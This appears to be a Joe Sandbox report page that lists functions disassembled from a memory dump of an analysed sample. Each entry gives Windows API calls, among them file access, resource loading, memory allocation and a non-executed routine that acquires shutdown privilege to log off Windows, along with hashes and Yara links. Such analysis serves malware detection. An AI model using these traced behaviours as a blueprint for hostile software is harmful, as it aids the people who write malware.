Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 9ea3c66d670cb0c44a2644de082ff92dfdb36693542507e19320d23b5394a13d
Instruction ID: c760dbbb10683706500036a577470844d35ac6ab0c013c9c95042e4326961867
Opcode Fuzzy Hash: 9ea3c66d670cb0c44a2644de082ff92dfdb36693542507e19320d23b5394a13d
Instruction Fuzzy Hash: 3B313D75E00119ABCB00EF95C8C19EEB779FF84304F158977E815BB285E739AE058B98

Function 004074D6 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00407518

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce86d0b46b6749cbb1c8065cdd94f6338fa023cacd1506a2c152e65e14b54ccf
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: ce86d0b46b6749cbb1c8065cdd94f6338fa023cacd1506a2c152e65e14b54ccf
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Function 004074D8 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00407518

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5c7f1f50133f8918f9d70925a1da877e635501982028b62cfe689d085d452769
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 5c7f1f50133f8918f9d70925a1da877e635501982028b62cfe689d085d452769
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Function 0040693C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00406984,?,?,?,?,00000000,?,00406999,00406CC7,00000000,00406D0C,?,?,?), ref: 00406967

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 53f9965764e037d0eade91fd77cfc00c47722664131d9e88e47f7f2d0abdeb71
Instruction ID: a5d31a369ac9c1460ce21b6bb4ed2cb839aeaeb50f5f76e03c39097c5263300d
Opcode Fuzzy Hash: 53f9965764e037d0eade91fd77cfc00c47722664131d9e88e47f7f2d0abdeb71
Instruction Fuzzy Hash: A9E065712043047FD701EA629C52959B7ACDB89708B924476B501A6682D5785E108568

Function 00407628 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040763F

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,021103AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 2449abf237b154253dcf2b231e0da589e0eb2b5517b9a23d8c49629d5bbf5411
Instruction ID: 68b513bd5595dc6b38f1d245c0222f257f742b1e6f06676187839ef0e6677733
Opcode Fuzzy Hash: 2449abf237b154253dcf2b231e0da589e0eb2b5517b9a23d8c49629d5bbf5411
Instruction Fuzzy Hash: 93E01A727081106BEB10E65EDCC0EABA7DCDFC5764F04547BBA08EB291D674AC049676

Function 004071E4 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,0040904B,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,Wow64DisableWow64FsRedirection,00000000,00409061), ref: 00407203

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 606059c89ae6d8e8cf07aa2f3a49422b1cb7a18355834490beef1a35ac41266b
Instruction ID: 095b59eb22c1ada42cfe979e419102ec0d22498c88dfceb067fba30b4837873c
Opcode Fuzzy Hash: 606059c89ae6d8e8cf07aa2f3a49422b1cb7a18355834490beef1a35ac41266b
Instruction Fuzzy Hash: 8DE0D8A0B8830125F22514544C87B77110E53C0700F50847EB710ED3D3D6BEA90641AF

Function 0040760C Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,02127DC8,00409F6B,00000000), ref: 00407613

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,021103AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 2ff8edb08080e924c2b395f282aa3d8258573adb5ced5672aaac345b41159427
Instruction ID: 5d9383f6f08d3e81a9fa52c4aba0b6319cc61be016c813106cdb36ce464f185a
Opcode Fuzzy Hash: 2ff8edb08080e924c2b395f282aa3d8258573adb5ced5672aaac345b41159427
Instruction Fuzzy Hash: 39C04CB1A0450047DB40A6BE99C1A0662DC5A483157045576BA08DB297D679E8009665

Function 00406F5B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00406F79), ref: 00406F6C

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b3342c3bee8ef6d4bfebdffece25c86b3cab89117035339c57c774ddff03cb9f
Instruction ID: 754ecbd0d3eeca534395493226652c0236480d823d7569c9efe771d01927bad3
Opcode Fuzzy Hash: b3342c3bee8ef6d4bfebdffece25c86b3cab89117035339c57c774ddff03cb9f
Instruction Fuzzy Hash: 97B09B7661C2015DE705D6D5745193863F4D7C47103A1457BF104D25C0D57CD4144518

Function 00406F77 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00406F79), ref: 00406F6C

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 8c0feaa3b8caa60bdda2d34a80aa64328f40d718bb3766066fe9d436f42a4d4e
Instruction ID: 7c61e226393e4972c06343dd54fa3db727d2c771c967085a02b7622724de7152
Opcode Fuzzy Hash: 8c0feaa3b8caa60bdda2d34a80aa64328f40d718bb3766066fe9d436f42a4d4e
Instruction Fuzzy Hash: BAA022A8C00002B2CE00E2F08080A3C23282A8C3003C00AAA322EB20C0C03CC000822A

Function 004068D0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,004068CC,?,004065A9,?,?,00406CE7,00000000,00406D0C,?,?,?,?,00000000,00000000), ref: 004068D2

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 17375083e06acd4281245791c958798094bb343357575ce1856f87173c3dc77f
Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
Opcode Fuzzy Hash: 17375083e06acd4281245791c958798094bb343357575ce1856f87173c3dc77f
Instruction Fuzzy Hash:

Function 00407DFC Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407E8C

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173b8e8880a2d8bc8916495ece18949fbab6e5abf9cd9f38168eb99c200b7a3e
Instruction ID: 2791b199587b26d82634b85145401aad68464bde91e43c5b6ac1b5c6de7462a2
Opcode Fuzzy Hash: 173b8e8880a2d8bc8916495ece18949fbab6e5abf9cd9f38168eb99c200b7a3e
Instruction Fuzzy Hash: 7A1172716042449BDB00EE19C881B5B3794AF84359F1484BAF958AB2C6DB38EC04CBAA

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Function 004074A8 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 004074B8

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e9d4eabf3352258034a438adb9f93a7799ac96b59790047b66948ab7235a5e89
Instruction ID: 0172511661962fd54a17c381567595eb1d39a1afdb2a9088c563811225ee2893
Opcode Fuzzy Hash: e9d4eabf3352258034a438adb9f93a7799ac96b59790047b66948ab7235a5e89
Instruction Fuzzy Hash: FDD05E81B00A6017D215E2BE498864696C85F88745B08847AFA84E73D1D67CAC008399

Function 00407DA4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407E82), ref: 00407DBB

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5b9bfc86dfec920811477731d59a81a0154f8da7388717baf7e2e0d063c75e3e
Instruction ID: 99ab645fda39969175de1cb99313e8e2edaeef7f3c7532f72142fb74a6686f70
Opcode Fuzzy Hash: 5b9bfc86dfec920811477731d59a81a0154f8da7388717baf7e2e0d063c75e3e
Instruction Fuzzy Hash: 0AD0E9B17553055BDB90EEB95CC5B123BD87B48601F5044B66904EB29AE674E8109614

Non-executed Functions

Function 0040936C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 0040937B
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00409381
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 0040939A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004093C1
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004093C6
ExitWindowsEx.USER32(00000002,00000000), ref: 004093D7

Strings

SeShutdownPrivilege, xrefs: 00409393

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 2b7c2d1c4f590a8974f253569f8503172d2d606641626e35aa9b2bf4c08caf06
Instruction ID: 611fb1cec5075bd7f6e538fe0f9c98e62950726bb4ce6d0bef13c3fa82a74cfd
Opcode Fuzzy Hash: 2b7c2d1c4f590a8974f253569f8503172d2d606641626e35aa9b2bf4c08caf06
Instruction Fuzzy Hash: 95F0627068430276E610A6718C47F67228C5B88B08F50483ABE51FA1C3D7BCCC044A6F

Function 00409AD0 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409ADA
SizeofResource.KERNEL32(00000000,00000000,?,00409BC5,00000000,0040A15C,?,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 00409AED
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,00409BC5,00000000,0040A15C,?,00000001,00000000,00000002,00000000,0040A1A4,?,00000000), ref: 00409AFF
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00409BC5,00000000,0040A15C,?,00000001,00000000,00000002,00000000,0040A1A4), ref: 00409B10

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 400a5822642c04a340576dade1617737d9942a0be047b9803f81a1d9eeffe18d
Instruction ID: bd400d834a0aeaf6767d0a45abc69bca8fb82328816d2df24890c915d48f9c17
Opcode Fuzzy Hash: 400a5822642c04a340576dade1617737d9942a0be047b9803f81a1d9eeffe18d
Instruction Fuzzy Hash: 87E05AD035434625EA6036E718D2B2B62085FA471DF00013FBB00792D3DDBC8C04452E

Function 004051A8 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004053AA,?,?,?,00000000,0040555C), ref: 004051BB

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5ea09b3054f78be8d61aadd1ef4a431fb4c5ee7ddbf8397ee2588b1f4940bcb7
Instruction ID: dec8dcb9893e8432c944e1b70884c8cc40709e939aac0c2d0d2241257bb7fc31
Opcode Fuzzy Hash: 5ea09b3054f78be8d61aadd1ef4a431fb4c5ee7ddbf8397ee2588b1f4940bcb7
Instruction Fuzzy Hash: D3D05EB631E6502AE210519B2D85EBB4EACCAC57A4F14443BF648DB242D2248C069776

Function 004026C4 Relevance: 1.5, APIs: 1, Instructions: 20timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004026CE

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748

Function 00405C44 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00406540,00000000,0040654E,?,?,?,?,?,00409B44), ref: 00405C52

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b3c8fce3f516c1eeee7654ac00498b0e6f5204205adccd6d1250d5bfc2945711
Instruction ID: 6a84e84a5bdb2c7c5b206d002f2a3fc227ad50a79849cf1aa773f1ea3c1cbc6a
Opcode Fuzzy Hash: b3c8fce3f516c1eeee7654ac00498b0e6f5204205adccd6d1250d5bfc2945711
Instruction Fuzzy Hash: 5AC0126040470186E7109B319C42B1672D4A744310F4805396DA4953C2E73C81018A5A

Function 00408330 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction ID: 956cfbd081f07b2254a6d3089f19d76ceb57970edf417c817245e325156cd300
Opcode Fuzzy Hash: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction Fuzzy Hash: 4432E875E04219DFCB14CF99CA80AADB7B2BF88314F24816AD845B7385DB34AE42CF55

Function 00406F84 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407089), ref: 00406FAD
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00406FB3
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407089), ref: 00407001

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00407010
GetUserDefaultUILanguage, xrefs: 00406FA3
Locale, xrefs: 00406FF0
kernel32.dll, xrefs: 00406FA8
.DEFAULT\Control Panel\International, xrefs: 00406FD8

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 60a9e4a616bde9d3650d5374f7b0e792bef98a6345d6610fa7bc99ac1ec5f133
Instruction ID: 4848c3cc747176469ce0ef08a48ea257d9f62360c4c8e5a9f2e1a14c28c6fa3b
Opcode Fuzzy Hash: 60a9e4a616bde9d3650d5374f7b0e792bef98a6345d6610fa7bc99ac1ec5f133
Instruction Fuzzy Hash: C3217370E04209ABDB10EBB5CD51B9F77A8EB44304F60857BA500F72C1DB7CAA05879E

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
